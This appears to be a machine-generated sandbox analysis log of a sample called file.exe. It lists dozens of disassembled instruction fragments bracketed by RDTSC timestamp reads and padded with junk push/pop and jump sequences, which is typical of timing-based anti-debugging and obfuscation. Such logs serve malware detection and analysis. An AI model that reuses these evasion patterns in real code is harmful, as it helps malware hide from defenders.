Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B477 second address: F4B493 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BF4h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7153A second address: F71569 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3DE916F964h 0x00000008 pushad 0x00000009 jmp 00007F3DE916F964h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F709C2 second address: F709C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70DFC second address: F70E17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F967h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70E17 second address: F70E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jg 00007F3DE9170BE6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F70E26 second address: F70E2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F73F8B second address: F73F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F741A2 second address: F741BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F95Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F3DE916F956h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F741BF second address: F741C5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F741C5 second address: F7422F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F95Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a call 00007F3DE916F961h 0x0000000f jmp 00007F3DE916F961h 0x00000014 pop edx 0x00000015 push 00000004h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F3DE916F958h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 sub dword ptr [ebp+122D3507h], eax 0x00000037 push 06746D35h 0x0000003c push eax 0x0000003d push edx 0x0000003e jc 00007F3DE916F958h 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F75799 second address: F757B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE9170BF3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F757B2 second address: F757B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F757B6 second address: F757BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7745A second address: F7745E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45469 second address: E4546F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4546F second address: E45477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45477 second address: E4548A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F3DE9170BEEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7704D second address: F77054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77054 second address: F77059 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77059 second address: F77061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620190 second address: 56201A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE9170BEEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56201A2 second address: 56201A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56201A6 second address: 56201CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3DE9170BECh 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3DE9170BEAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56201CC second address: 56201DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F95Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600E70 second address: 5600E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, ax 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600E78 second address: 5600E89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600E89 second address: 5600E8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600E8F second address: 5600EE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3DE916F962h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F3DE916F95Bh 0x0000000f adc eax, 03F3D76Eh 0x00000015 jmp 00007F3DE916F969h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov dword ptr [esp], ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F3DE916F95Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600EE6 second address: 5600EEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5650033 second address: 565004F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 mov ebx, 1E1EFBC6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov si, 4095h 0x00000018 movzx eax, dx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565004F second address: 5650055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5650055 second address: 5650059 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5650059 second address: 565008F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F3DE9170BF2h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3DE9170BF7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E00D2 second address: 55E0128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F969h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F3DE916F95Eh 0x0000000f push eax 0x00000010 pushad 0x00000011 movsx edx, cx 0x00000014 jmp 00007F3DE916F95Ah 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F3DE916F967h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E0128 second address: 55E013C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 mov si, bx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 mov ax, di 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E013C second address: 55E0140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600CBE second address: 5600D34 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3DE9170BEAh 0x00000008 jmp 00007F3DE9170BF5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F3DE9170BEEh 0x00000017 push eax 0x00000018 jmp 00007F3DE9170BEBh 0x0000001d xchg eax, ebp 0x0000001e pushad 0x0000001f mov bl, ch 0x00000021 mov si, dx 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 jmp 00007F3DE9170BF3h 0x0000002c pop ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F3DE9170BF5h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560073B second address: 5600741 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600741 second address: 5600747 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600747 second address: 560074B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560074B second address: 560074F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560074F second address: 560076B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3DE916F961h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560076B second address: 5600799 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F3DE9170BF1h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop esi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600799 second address: 56007B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE916F967h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56007B4 second address: 56007B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56007B8 second address: 56007C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56007C8 second address: 56007CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56007CC second address: 56007D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56007D2 second address: 5600805 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 pushfd 0x00000007 jmp 00007F3DE9170BF0h 0x0000000c or ch, 00000078h 0x0000000f jmp 00007F3DE9170BEBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov eax, edi 0x0000001e movsx ebx, cx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560067F second address: 5600687 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600687 second address: 5600695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600695 second address: 560069B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560069B second address: 56006B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE9170BF1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56006B0 second address: 5600710 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F961h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F3DE916F95Eh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 mov al, 33h 0x00000016 mov dh, 7Fh 0x00000018 popad 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F3DE916F967h 0x00000023 jmp 00007F3DE916F963h 0x00000028 popfd 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600710 second address: 5600715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56003B5 second address: 560042F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F969h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F3DE916F95Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F3DE916F95Ch 0x00000019 sbb esi, 6566F8B8h 0x0000001f jmp 00007F3DE916F95Bh 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007F3DE916F968h 0x0000002b or cx, 3318h 0x00000030 jmp 00007F3DE916F95Bh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560042F second address: 5600447 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE9170BF4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5600447 second address: 560049C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F3DE916F95Dh 0x00000010 adc cx, 5F66h 0x00000015 jmp 00007F3DE916F961h 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007F3DE916F960h 0x00000021 sbb ch, 00000008h 0x00000024 jmp 00007F3DE916F95Bh 0x00000029 popfd 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561027B second address: 5610281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610281 second address: 5610285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610285 second address: 5610289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5610289 second address: 561029D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f mov dx, 8AD0h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5640F02 second address: 5640F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5640F06 second address: 5640F23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F969h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5640F23 second address: 5640F29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5640F29 second address: 5640F49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F963h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5640F49 second address: 5640F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5640F4D second address: 5640F53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5640F53 second address: 5640F70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE9170BF9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620540 second address: 5620544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620544 second address: 562054A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562054A second address: 5620590 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE916F95Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushfd 0x00000010 jmp 00007F3DE916F969h 0x00000015 jmp 00007F3DE916F95Bh 0x0000001a popfd 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620590 second address: 56205AC instructions: 0x00000000 rdtsc 0x00000002 mov ch, 6Bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 call 00007F3DE9170BF3h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56205AC second address: 56205B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56205B0 second address: 56205E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [ebp+08h] 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F3DE9170BEBh 0x00000011 jmp 00007F3DE9170BF3h 0x00000016 popfd 0x00000017 mov bl, cl 0x00000019 popad 0x0000001a and dword ptr [eax], 00000000h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 movzx esi, bx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56205E9 second address: 56205EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560059C second address: 56005A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56005A0 second address: 56005A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620008 second address: 562000C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562000C second address: 5620012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620012 second address: 5620018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620018 second address: 562001C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562001C second address: 5620020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620020 second address: 562003C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F3DE916F95Dh 0x00000011 mov bh, ah 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562003C second address: 5620090 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F3DE9170BF1h 0x00000011 xor ax, 0596h 0x00000016 jmp 00007F3DE9170BF1h 0x0000001b popfd 0x0000001c mov dx, cx 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 call 00007F3DE9170BEFh 0x00000029 pop eax 0x0000002a pushad 0x0000002b popad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620090 second address: 562009F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3DE916F95Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562009F second address: 56200C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3DE9170BF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 movsx edi, ax 0x00000013 mov cl, D7h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56200C9 second address: 562012E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3DE916F95Ch 0x00000009 and al, FFFFFFA8h 0x0000000c jmp 00007F3DE916F95Bh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F3DE916F968h 0x00000018 and ecx, 04483C08h 0x0000001e jmp 00007F3DE916F95Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 pop ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F3DE916F965h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 562012E second address: 5620134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620134 second address: 5620138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5620138 second address: 562013C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
